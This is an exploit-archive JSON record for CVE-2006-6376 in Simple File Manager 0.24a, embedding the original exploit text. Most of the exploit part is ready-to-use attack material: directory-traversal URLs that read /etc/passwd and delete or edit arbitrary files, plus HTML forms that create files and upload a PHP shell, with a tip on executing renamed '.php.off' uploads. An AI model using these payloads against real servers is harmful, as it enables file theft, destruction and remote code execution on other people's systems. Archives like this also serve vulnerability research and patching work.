{"exploit":{"id":"EDB-2883","name":"simple file manager 0.24a - Multiple Vulnerabilities","description":"simple file manager 0.24a - Multiple Vulnerabilities","cves":["CVE-2006-6376"],"author":"flame","published":"2006-12-02","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2883","path":"exploits/php/webapps/2883.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2883.txt","vulnerabilities":[{"id":"CVE-2006-6376","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in fm.php in Simple File Manager (SFM) 0.24a allow remote attackers to use \"..\" sequences to (1) read arbitrary files via the filename parameter in a download action, (2) delete arbitrary files via the delete parameter, and (3) modify arbitrary files via the edit parameter, which can be leveraged to execute arbitrary code.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6376","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6376"},"updatedAt":"2024-08-07T20:26:45.952Z","retrievedAt":"2026-11-27T00:08:56.223Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2883.png?v=2","url":"https://exploitbin.com/exploits/EDB-2883","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2883/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2883/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*******************************************\\\n| flame vrs Simple File Manager <=0.24=>    |\n| http://onedotoh.sourceforge.net/          |\n| Various Vulnerbilities Including:         |\n\\*******************************************/\n/+++++++++++++++++++++++++++++++++++++++++++\\\n| Using the scripts supplied by the webapp: |\n| Reading of Arbitrary files                |\n| Deletion of Arbitrary files               |\n| Modification of Arbitrary files           |\n| Creation of Arbitrary files               |\n| Uploading of Malicious files              |\n\\+++++++++++++++++++++++++++++++++++++++++++/\n\n\n/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\\\n| Simple File Manager (SFM) is a web based  |\n| file management utility.                  |\n| It is designed to be used by those that   |\n| don't want to use ftp or SHOULD NOT use   |\n| ftp. It can be dropped into a specific    |\n| directory and give access to that         |\n| directory as well as any directory below  |\n| it, including those created by SFM. It    |\n| can be placed in a specific directory and |\n| configured to give access to other        |\n| directories outside of its location       |\n| (centralized). SFM gives its user upload, |\n| rename, delete, directory creation as     |\n| well as directory navigation (within its  |\n| tree limits), as well as Create New File; |\n| it also includes an image viewer, text    |\n| viewer and mime type downloading.         |\n\\&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&/\n | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |\n | Thats the description from the author...|\n | Which basically outlines all of its     |\n | vulnerbilities.                         |\n \\_________________________________________/\n\n/=========================================================================================================================\\\n############################ .:Reading of Arbitrary Files:. ###############################################################\n# fm.php?action=download&filename=[RELATIVE PATH / FILENAME]&pathext=&u=&&copt=1&sortKey=2                                #\n# EG: http://www.site.com/file/fm.php?action=download&filename=../../../../../../etc/passwd&pathext=&u=&&copt=1&sortKey=2 #\n###########################################################################################################################\n\\=========================================================================================================================/\n\n/=========================================================================================================================\\\n############################ .:Deletion of Arbirary Files:. ###############################################################\n# fm.php?delete=[RELATIVE PATH / FILENAME]&copt=1&sortKey=2&u=&pathext=                                                   #\n# EG: http://www.site.com/file/fm.php?delete=phpshell.php&copt=1&sortKey=2&u=&pathext=                                    #\n###########################################################################################################################\n\\=========================================================================================================================/\n\n/=========================================================================================================================\\\n############################# .:Modification of Arbitrary Files:. #########################################################\n# fm.php?edit=[RELATEIVE PATH / FILENAME]&u=&copt=1&pathext=                                                              #\n# EG: http://www.site.com/file/fm.php?edit=../index.php&u=&copt=1&pathext=                                                #\n###########################################################################################################################\n\\=========================================================================================================================/\n\n/=========================================================================================================================\\\n############################# .:Creation of Arbitrary Files:. #############################################################\n# START LOCAL HTML FILE:                                                                                                  #\n <form name=\"form1\" method=\"post\" action=\"http://www.site.com/file/fm.php\">\n <center>Filename: <input type=\"text\" name=\"newfilename\">\n <select class=altButton name=\"newfileext\">\n <option>.txt</option><option>.html</option><option>.php</option>\n </select>\n <textarea name=\"newcontent\" cols=\"60\" rows=\"15\">&lt;/textarea&gt;\n <input type=\"hidden\" name=\"copt\" value=\"1\">\n <input type=\"submit\" name=\"savenew\" value=\"Save\">\n <input type=\"hidden\" name=\"u\" value=\"\">\n <input type=\"hidden\" name=\"pathext\" value=\"/\">\n <input type=\"hidden\" name=sortKey value=\"2\">\n </center>\n </form>\n# END LOCAL HTML FILE                                                                                                     #\n###########################################################################################################################\n# Note... various characters are escaped. And by default all .php files will be renamed to file.php.off                   #\n# Note... The author decided to let you change the fm.php file anyway (*See Modification of Arbitrary files)              #\n###########################################################################################################################\n\\=========================================================================================================================/\n\n/=========================================================================================================================\\\n############################## .: Uploading of Malicious Files:. ##########################################################\n# START LOCAL HTML FILE:                                                                                                  #\n<form name=\"form1\" method=\"post\" action=\"http://www.site.com/file/fm.php\" enctype=\"multipart/form-data\">\n<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"104857600\">\n<input type=\"hidden\" name=\"copt\" value=\"1\">\n<input type=\"file\" name=\"uploadedfile\">\n<input type=\"submit\" name=\"upload\" value=\"Upload\">\n<input type=\"hidden\" name=\"u\" value=\"\">\n<input type=\"hidden\" name=\"pathext\" value=\"/\">\n<input type=\"hidden\" name=sortKey value=\"2\">\n</form>\n# END LOCAL HTML FILE                                                                                                     #\n###########################################################################################################################\n# Note... By default all .php files will be renamed to file.php.off, you can usually just browse to the file anyway and it#\n# will execute... EG: http://www.site.com/file/phpshell.php.off                                                           #\n###########################################################################################################################\n\\=========================================================================================================================/\n\n                                       /++++++++++++++++++++++++++++\\\n                                       | Be good, and dont be too   |\n                                       | hopeful about finding      |\n                                       | yourself a gibbon running  |\n                                       | this script. It predates   |\n                                       | my #999999 hair.           |\n                                       \\++++++++++++++++++++++++++++/\n\n      /{S}{H}{O}{U}{T}{-}{O}{U}{T}{S}{!}{!}{!}\\\n      |---------------------------------------|\n      | <&bk> stfu flame                      |\n      | <~PhaZe_One> no fame without flame    |\n      | <+c|p> I love you flame               |\n      | <%emc2> flame wishes death upon you   |\n      | <Thaimaishu> are you emo flame?       |\n      | <&[myg0t]40> flame dont be mad        |\n      | *~str0ke humps flame's leg            |\n      | <&ZoNe_VoRTeX> <3 flame               |\n      |---------------------------------------|\n      \\{S}{H}{O}{U}{T}{-}{O}{U}{T}{S}{!}{!}{!}/\n\n# milw0rm.com [2006-12-02]","sha256":"cda775b1d20ed737e1e210c970fefecc19a718215e720bb149f7408d1f72bffc","bytes":8277,"fetchedAt":"2026-11-27T00:08:50.353Z","encoding":"utf-8 (display only; download retains original bytes)"}